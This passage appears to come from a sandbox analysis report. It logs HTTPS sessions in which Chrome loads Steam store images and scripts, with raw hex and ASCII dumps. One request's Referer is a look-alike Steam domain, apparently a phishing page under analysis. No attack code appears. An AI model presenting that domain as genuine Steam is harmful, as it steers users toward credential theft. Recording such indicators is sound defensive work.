2024-10-06 11:20:57 UTC	29	IN	Data Raw: 7b 22 62 41 6c 6c 6f 77 41 70 70 49 6d 70 72 65 73 73 69 6f 6e 73 22 3a 74 72 75 65 7d Data Ascii: {"bAllowAppImpressions":true}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	49775	2.19.126.227	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	599	OUT	GET /public/shared/images/responsive/header_logo.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	269	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 10863 Last-Modified: Fri, 05 Jan 2018 22:31:56 GMT ETag: "5a4ffcdc-2a6f" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	10863	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 e8 00 00 00 ab 08 06 00 00 00 34 09 69 7b 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c3 00 00 0e c3 01 c7 6f a8 64 00 00 29 ea 49 44 41 54 78 5e ed 9d 0d c8 7d 55 99 b7 9b 09 1a 1a 7c 19 68 70 28 1c 0c 25 31 12 a3 48 8a 44 51 12 c3 28 12 a5 48 12 c3 48 46 8a c4 48 92 a4 28 8c 42 31 92 86 a2 68 50 8c 42 31 1a 92 22 31 1a 8a 22 29 92 86 a4 28 94 22 99 18 49 12 22 99 78 07 e2 0d df fb 3a fb 39 f6 fc 8f fb 9c b3 d6 3e fb 63 ad bd af 0b 7e 9c bd 1f ff 3e 1f e7 63 ef df ba d7 fd f1 37 4f 3f fd f4 73 44 44 44 44 44 a4 0c fe f6 e8 51 44 44 44 44 44 0a c0 08 ba d4 c6 c9 a1 53 9b c3 15 67 86 4e 6a 0e 9f e1 a9 d0 af 9b c3 15 8f 87 9e Data Ascii: PNGIHDR4i{sRGBgAMAapHYsod)IDATx^}U\|hp(%1HDQ(HHFH(B1hPB1"1")("I"x:9>c~>c7O?sDDDDDQDDDDDSgNj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	49785	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	430	OUT	GET /public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	347	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/javascript;charset=UTF-8 ETag: "pSvIAKtunfWg" Last-Modified: Sun, 09 Sep 2001 01:46:40 GMT Strict-Transport-Security: max-age=300 Cache-Control: public, max-age=12967218 Expires: Wed, 05 Mar 2025 13:21:15 GMT Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Length: 24657 Connection: close
2024-10-06 11:20:57 UTC	16037	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 2f 2f 20 62 75 69 6c 64 20 6f 75 72 20 6d 65 6e 75 20 6f 6e 20 69 6e 69 74 0d 0a 6a 51 75 65 72 79 28 20 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 09 76 61 72 20 6d 71 51 75 65 72 79 4d 65 6e 75 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 39 31 30 70 78 29 22 29 20 3a 20 7b 6d 61 74 63 68 65 73 3a 20 66 61 6c 73 65 7d 3b 0d 0a 09 76 61 72 20 6d 71 4d 6f 62 69 6c 65 4d 6f 64 65 20 3d 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 20 3f 20 77 69 6e 64 6f 77 2e 6d 61 74 63 68 4d 65 64 69 61 28 22 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 22 29 20 3a 20 7b 6d Data Ascii: "use strict";// build our menu on initjQuery( function($) {var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {m
2024-10-06 11:20:57 UTC	8620	IN	Data Raw: b3 d0 b0 d1 80 d1 81 d0 ba d0 b8 20 28 42 75 6c 67 61 72 69 61 6e 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 63 7a 65 63 68 22 7d 20 29 2e 74 65 78 74 28 20 27 c4 8c 65 c5 a1 74 69 6e 61 20 28 43 7a 65 63 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 28 0d 0a 09 09 09 09 24 4a 28 27 3c 6f 70 74 69 6f 6e 2f 3e 27 2c 20 7b 76 61 6c 75 65 3a 20 22 64 61 6e 69 73 68 22 7d 20 29 2e 74 65 78 74 28 20 27 44 61 6e 73 6b 20 28 44 61 6e 69 73 68 29 27 20 29 0d 0a 09 09 09 29 3b 0d 0a 09 09 09 09 09 24 53 65 6c 65 63 74 42 6f 78 2e 61 70 70 65 6e 64 Data Ascii: (Bulgarian)' ));$SelectBox.append($J('<option/>', {value: "czech"} ).text( 'etina (Czech)' ));$SelectBox.append($J('<option/>', {value: "danish"} ).text( 'Dansk (Danish)' ));$SelectBox.append

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	49786	2.19.126.73	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	683	OUT	GET /steam/clusters/about_i18n_assets/about_i18n_assets_0/wallet_card_img_english.png?t=1636143670 HTTP/1.1 Host: cdn.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sneamcomnnumnlty.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	247	IN	HTTP/1.1 200 OK Server: nginx/1.10.3 (Ubuntu) Content-Type: image/png Content-Length: 503402 Last-Modified: Wed, 24 Sep 2014 18:08:02 GMT ETag: "54230882-7ae6a" Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	16137	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 96 00 00 02 cf 08 06 00 00 00 41 91 e6 34 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRA4tEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: b4 d5 a7 61 f7 81 b7 30 34 36 ca ad f1 49 02 87 85 4d 41 24 54 3b 1e 78 e4 31 54 11 28 bb a3 f3 e0 a8 9d 87 38 29 e9 57 f6 be 89 aa e6 36 04 e8 1c b3 de 08 3a 96 d6 41 a1 eb 5d 20 eb db eb f5 21 e4 f5 a2 ca 99 c3 20 b1 9b 94 90 c2 09 ad 76 a4 46 1d 98 9a 24 05 4d 0f 60 17 dd 6b d2 c7 78 a9 3f 89 51 78 91 a7 ed 67 27 26 30 34 34 85 70 24 88 1a 7f 1e d3 d3 02 06 87 13 d8 ff d6 18 46 c7 32 58 7f f5 7c 54 b7 06 10 9b c8 20 97 29 72 25 af f2 58 9d 05 1e bb 1f 07 87 77 e3 9e 97 be 89 b3 17 5d 8e f9 f5 cb 88 05 d8 d0 3f d9 8b 78 76 0a 07 06 76 e3 2f 7b 1e c5 44 7c 0c d5 de 3a ce 24 54 a5 dc f5 57 41 b9 2d bf e6 9d 52 78 b0 bc 50 d4 dc 57 4a 51 2e 35 c8 14 f4 fd b2 d4 61 e6 c2 ca 13 48 84 3c 61 5a 22 74 5d 36 63 51 f3 12 1e 50 67 20 71 d6 8a 73 51 1b ac 25 e6 34 Data Ascii: a046IMA$T;x1T(8)W6:A] ! vF$M`kx?Qxg'&044p$F2X\|T )r%Xw]?xvv/{D\|:$TWA-RxPWJQ.5aH<aZ"t]6cQPg qsQ%4
2024-10-06 11:20:57 UTC	2601	IN	Data Raw: 4c 61 98 15 1a b0 30 58 b1 5c e0 b2 26 66 8b 85 bf d5 1b e4 14 e0 b0 5b 21 55 64 72 76 05 ae 57 55 1d 91 fc 56 fa 22 b6 21 10 d3 24 db c6 14 b3 54 03 79 f0 d6 72 a9 e4 cf 65 b3 1d d9 5c a6 27 9b c9 ac ca e5 b2 6b 0a f9 ec ea 58 2c de 71 ce 55 ef c6 d5 d7 5c 8e f9 a2 03 7b f7 1f c2 fd f7 fc 10 46 32 bc 96 8a 13 f9 6c 0e e1 58 04 91 b9 19 c4 66 46 a1 92 93 c5 b4 23 18 eb 7b f5 c5 67 71 df 7d f7 e2 f6 ff f7 45 5c 73 ed d5 3c 64 7c ca e6 13 e1 0b 06 61 22 46 3b 30 70 00 dd dd 3d 04 2a 6b f0 ea 8e 1d 04 0c 66 ac 5f 7f 22 96 2f eb c1 d0 d1 a3 b8 e2 5d ef c6 4f 7f fc 63 7c ff 47 3f a1 b5 db c3 15 b3 35 8d 1b bd dc 9a cd 55 21 76 61 64 95 7f 25 72 10 b2 31 c4 92 b3 c8 1b fc b8 eb db 49 5c fd fe 3f c6 9a 0b 2f c7 c2 cf ee d0 b4 d1 e8 7e b3 ea 30 4d 68 d2 a0 29 1e Data Ascii: La0X\&f[!UdrvWUV"!$Tyre\'kX,qU\{F2lXfF#{gq}E\s<d\|a"F;0p=*kf_"/]Oc\|G?5U!vad%r1I\?/~0Mh)
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 6a 68 3c 87 12 19 4a a7 d5 02 8b c8 ca 66 ed b0 db 4a 38 38 2c c3 40 9b 2c 95 8b c0 6b eb c6 86 36 3b 9e 3e 38 03 99 56 96 95 36 94 54 34 a0 c9 ef 45 78 6a 12 37 fd f1 d5 d8 f7 ca 6e cc ce cc e3 1d 6f 5f 8b ac 5c 84 cf ed 46 4f 77 2b f2 e9 32 a6 c7 67 08 e4 cc 18 19 5b a0 c7 14 24 a6 c7 31 53 64 1a fa 59 78 2d 2a 66 8f 8e c2 2f 56 78 49 ef ec 9e a7 91 9e 9d c3 e2 d4 22 1c 82 8c 7d fb 67 10 cf d9 f0 f8 6b 49 9c 7a f2 49 48 db 2d b0 76 ab f0 bb dc 4c 8e 9e ae 21 ab f0 21 6f 7b 6a 02 33 b3 f4 7b d9 0a 13 fd 3d 97 25 06 56 aa 68 c0 a2 37 7e 49 06 13 df 5c 66 8b 89 e7 4d 58 65 6c 21 2f 73 40 61 40 23 89 7a af 02 9f 22 68 e0 a1 12 a6 72 cb 3a b0 25 de 13 53 e1 fd 2a e5 4a 11 e9 54 f4 3c 8f af b9 b3 52 2e 4d b2 26 4a 76 5f ff f3 eb 06 3c 71 ae 92 eb 2c d1 2f 92 Data Ascii: jh<JfJ88,@,k6;>8V6T4Exj7no_\FOw+2g[$1SdYx-f/VxI"}gkIzIH-vL!!o{j3{=%Vh7~I\fMXel!/s@a@#z"hr:%SJT<R.M&Jv_<q,/
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: ea bc 55 5b 04 6d 7f 02 31 ba 9f 0a ab 6b 46 23 3a 85 bf 42 9b ae 52 d4 aa 8b 62 03 a1 77 06 b2 52 68 41 9d 66 f0 0b 08 45 8f 42 e4 02 aa d0 bf 4f 4e 82 58 47 0f a2 e8 3f 5f 43 24 aa 4f 2a a4 bf 14 59 29 a4 d9 94 69 9f 99 4f e1 22 ef fd 24 45 c9 23 93 5c eb ab 3c 2d 35 97 9b 12 57 b4 02 7a 5e 93 84 1b 13 0c 39 65 d0 dc e7 48 f9 94 a8 b8 7a 59 59 ab 41 e6 1a 9e a4 22 e1 2b 71 bc 72 96 d6 ba 11 67 35 d7 8b ef 23 14 54 70 9a 75 79 43 25 ca 4b ec 58 dd de 82 83 c3 7d 38 3a 32 89 15 ad 6d 98 51 5f 25 54 50 e7 77 36 62 26 21 c6 f8 e0 18 0e 12 02 e7 86 02 e6 d2 63 bd a4 21 99 02 1d 56 e3 a4 7d 95 60 81 b0 92 08 32 eb d7 23 f6 2f b7 c1 7c fb 57 91 dd ba 09 72 ef 31 98 3e 72 0b e4 a3 7d 90 f7 1d 84 61 d9 12 c8 87 8e 12 94 a5 00 29 26 c3 51 56 02 e5 8d b5 90 f7 ee Data Ascii: U[m1kF#:BRbwRhAfEBONXG?_C$O*Y)iO"$E#\<-5Wz^9eHzYYA"+qrg5#TpuyC%KX}8:2mQ_%TPw6b&!c!V}`2#/\|Wr1>r}a)&QV
2024-10-06 11:20:57 UTC	7952	IN	Data Raw: c6 d7 7f f5 3c d6 ec 1a c5 82 e9 21 61 33 7c be 54 a3 07 46 35 64 de b9 8f e3 a0 80 85 22 86 8c b7 59 17 f6 e2 9a 8f 9f 85 eb 6e 5b 2f b3 5e 3a 4e 9e 86 4f ff cb 0a c1 8e 34 5d ff 1a 62 42 5c 60 70 f7 e3 bb e1 76 2a 30 fd 71 15 e6 68 65 9b 7e 7c aa 31 95 45 00 a6 74 da f4 ea 35 3a 90 35 6b d7 21 16 8b cb eb 36 9b a5 f7 51 9d 10 7e 34 d6 17 7b ef cc 18 79 e6 bd 4d a1 0b 2e 7d 46 0e 7a c5 85 87 36 ef c3 03 1b 77 22 95 cb 03 bf bd fd d8 0c 92 c3 4f 46 bd 9a b6 95 43 3a 3d 74 d8 04 3a b3 be a2 a9 82 cc a5 02 46 d3 aa b9 d3 b1 78 0c 77 dc 79 17 b6 6f df 51 02 5b 06 96 1a 02 87 ea aa 1a da 65 87 a8 50 33 b3 f0 78 f4 07 cf 8b 61 e6 67 b3 d9 4b 77 25 57 ca 8d 47 22 48 24 e2 88 8c 8f c9 bf 33 99 14 36 6d ca d3 6b 8a 24 f2 81 74 c5 fe 45 e3 e3 e0 d3 f4 d4 d3 4f e9 Data Ascii: <!a3\|TF5d"Yn[/^:NO4]bB\`pv*0qhe~\|1Et5:5k!6Q~4{yM.}Fz6w"OFC:=t:FxwyoQ[eP3xagKw%WG"H$36mk$tEO
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: c7 f7 1d 87 ab b9 f2 8c c7 1e fb 02 35 38 91 7f 1c 50 8b 53 03 8f a3 cc 3d 99 7a b8 6a 62 9e 43 9b 52 21 c0 cb 06 1c 47 89 b5 71 05 c9 8a 85 33 b0 e1 e9 47 09 0c da 89 7e 6f c3 be fd 07 30 d4 37 8c aa fa 3a 61 18 ac bc ca 15 56 33 ea 5a 70 60 ff 0e 24 e3 7a b5 8c 9f e7 35 84 c3 88 a5 92 64 fc f5 a6 2c d6 42 92 92 58 0e 27 b0 62 ab 8c 7d d5 43 1d 0e 73 34 2c 5d 23 96 f3 e6 f0 9a 84 37 58 1f 8c c7 d2 d2 82 36 c3 26 36 69 e6 72 ca 77 15 0b 9a c8 8a 17 b2 79 29 15 75 38 3d 32 d3 22 57 cc 18 12 1d aa 25 39 5c 14 29 14 0e cf d4 d7 10 0b f3 39 90 22 b6 c1 92 2d 3c db c5 e7 a2 ef 14 c3 a3 21 1c 08 a2 2a 10 14 31 45 66 2b dc c5 2c 63 6c 69 ff 82 e1 2a 02 93 10 ba ba fa 89 9d a5 10 f4 79 44 ab 89 c7 f1 46 c6 46 31 76 70 b7 dc 5c c9 02 0b 29 26 60 f7 d5 c2 df 7e 96 Data Ascii: 58PS=zjbCR!Gq3G~o07:aV3Zp`$z5d,BX'b}Cs4,]#7X6&6irwy)u8=2"W%9\)9"-<!1Ef+,cliyDFF1vp\)&`~
2024-10-06 11:20:57 UTC	16384	IN	Data Raw: 1d 8b bf 5a ea a1 a3 85 1e 47 cb b4 b9 1c 0c e3 29 a9 a9 f0 b5 b7 56 13 b5 17 70 c1 92 a3 0a 61 85 0f 99 3e 66 34 68 e1 66 f2 11 6f af 41 bf d7 4f 80 eb e0 40 cc c2 45 1a b5 8a 8b fa e5 de ce 4a 88 8d 56 33 d7 82 7a f1 c1 67 f1 a2 48 46 4e 60 f2 f0 29 fc eb a1 bf e3 c2 73 4e 46 55 b9 87 56 8e 81 6f 50 26 65 0e 45 aa 4a 2c 12 9b 54 78 fd b9 c2 89 9c ff 2c bf 61 de ec c9 b8 e7 df 4f a0 ae ae 9c c8 93 99 3f 2c c4 5e 7e 75 eb 5d f8 fb 5f 1f 80 a9 d2 0d 0f 6d fa d3 8e 3f 9c bf fe f9 57 de 46 fb fa f7 a0 75 4e e1 4d 6e 19 4b 0d 56 ac 5c 8b bd c4 4c d5 1a 2d 1a 1a aa 60 e4 39 28 96 d8 b5 e1 ad 35 1b 71 ca d7 ae c1 c0 80 0f 83 e1 10 ec d5 65 52 28 50 ae de 32 db ad d8 be ab 13 eb d7 6f 93 62 fc 04 ba 12 a3 53 54 ed 1c 8c 41 67 b2 df 22 8d eb 65 d7 4c c7 85 0d b5 Data Ascii: ZG)Vpa>f4hfoAO@EJV3zgHFN`)sNFUVoP&eEJ,Tx,aO?,^~u]_m?WFuNMnKV\L-`9(5qeR(P2obSTAg"eL
2024-10-06 11:20:58 UTC	7952	IN	Data Raw: 42 46 9b 98 00 0b 09 4b 64 a0 2d aa 08 c9 2c 63 44 5d 31 3a da 3a 61 48 59 21 59 54 84 08 91 b2 a1 3c 1a 1b 5b 30 be 3e 8e 58 32 81 68 38 89 12 d9 07 9b 32 02 01 c5 84 68 2c 44 cc c1 83 ae f6 1c 3a bb d2 b0 1a 9a e0 f1 b9 61 71 78 b8 64 8b 40 ec 21 4f 6c 4d 51 9d c8 e5 7d 74 de 63 c8 7b 37 a2 c8 65 46 c5 28 13 2f 9d 66 8a e4 06 9e 47 55 b0 92 9e c3 00 82 95 6c b3 52 66 95 55 c3 e5 89 4d 31 61 59 51 86 a8 8b aa f1 7e 0f 16 36 64 8c 4f a6 c7 1a e9 be 70 2a 8f 71 7e 11 c5 56 15 0d 01 76 cd f2 30 d3 fb 73 e4 45 94 7a 8c 70 54 4b 58 d0 10 a6 fb 4d 3b 67 57 15 40 25 b3 b9 15 81 67 9e e6 b2 2d 3b e3 4b 1a bc d9 7e 48 60 31 74 c0 d0 be f5 ce 2d 84 a8 fa 12 ea 03 72 ea 82 3e 94 2c 9e d5 70 e3 cd 77 62 ef 17 1e c4 c3 f7 dd 8e 51 f5 f5 b8 ff a1 c7 f0 f2 13 0f b1 ec Data Ascii: BFKd-,cD]1::aHY!YT<[0>X2h82h,D:aqxd@!OlMQ}tc{7eF(/fGUlRfUM1aYQ~6dOp*q~Vv0sEzpTKXM;gW@%g-;K~H`1t-r>,pwbQ
2024-10-06 11:20:58 UTC	16384	IN	Data Raw: f5 b6 07 f1 ef 47 5f e0 67 db 4c 46 f2 a1 fb 6f 42 79 79 19 f6 db 67 0f 02 a6 6e 58 e9 bc 7f 79 d1 a9 78 fd b1 59 38 f6 b0 fd f1 c7 3f fd 93 77 f8 b2 26 b0 bf fd e3 49 dc fc 9b 0b f1 f3 9f 9e 8f f3 7e f3 1b 44 13 69 9c fa e3 33 70 df 23 8f a0 7e 54 3d 4f 8c 8a f4 d8 f9 ef 2f c0 5f ee 7b 12 8b e6 fe 07 0f fc e7 65 dc 7a e7 23 50 89 cd b0 eb c4 80 b2 b4 62 2c a6 4d 9d c8 07 91 4d 3b fe 30 fc fd d6 ab 50 5e b7 3f d6 af 99 8f ca 22 5d 7d 99 cd cb 20 1f 0e 6e a7 1d 7e 9f 1b 1d a1 18 ca 8a 7c 10 7a 9a f1 8f 47 9f c5 bd 7f b8 0a 2d 04 56 cf bc 3a 17 6f bf fa 36 9c 45 64 c4 b4 3c ce bf e0 3a 5c 41 40 69 77 ba f0 e7 73 6e 40 de e1 c5 c9 e7 5d 8b 75 8d cd 70 54 d5 e2 f4 73 ae 42 67 28 00 9b db ca c1 7a fd a6 cd b8 e9 e6 bb 20 b1 a1 53 ac fc 94 40 9a 85 5c 96 7c f8 Data Ascii: G_gLFoByygnXyxY8?w&I~Di3p#~T=O/_{ez#Pb,MM;0P^?"]} n~\|zG-V:o6Ed<:\A@iwsn@]upTsBg(z S@\\|

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.7	49787	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 11:20:57 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 11:20:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: e72ec3ca-501e-005b-2401-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T112057Z-1657d5bbd48f7nlxc7n5fnfzh000000001eg00000000e713 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 11:20:57 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	49793	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	388	OUT	GET /public/images/v6/search_icon_btn.png HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	267	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 1816 Last-Modified: Fri, 05 Jan 2018 22:32:03 GMT ETag: "5a4ffce3-718" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
2024-10-06 11:20:57 UTC	1816	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 19 00 00 00 19 08 06 00 00 00 c4 e9 85 63 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 22 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 Data Ascii: PNGIHDRctEXtSoftwareAdobe ImageReadyqe<"iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	49794	2.19.126.97	443	3504	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-06 11:20:57 UTC	420	OUT	GET /public/shared/images/header/btn_header_installsteam_download.png?v=1 HTTP/1.1 Host: store.akamai.steamstatic.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-06 11:20:57 UTC	266	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/png Content-Length: 291 Last-Modified: Tue, 20 Mar 2018 23:42:19 GMT ETag: "5ab19c5b-123" Strict-Transport-Security: max-age=300 Accept-Ranges: bytes Date: Sun, 06 Oct 2024 11:20:57 GMT Connection: close
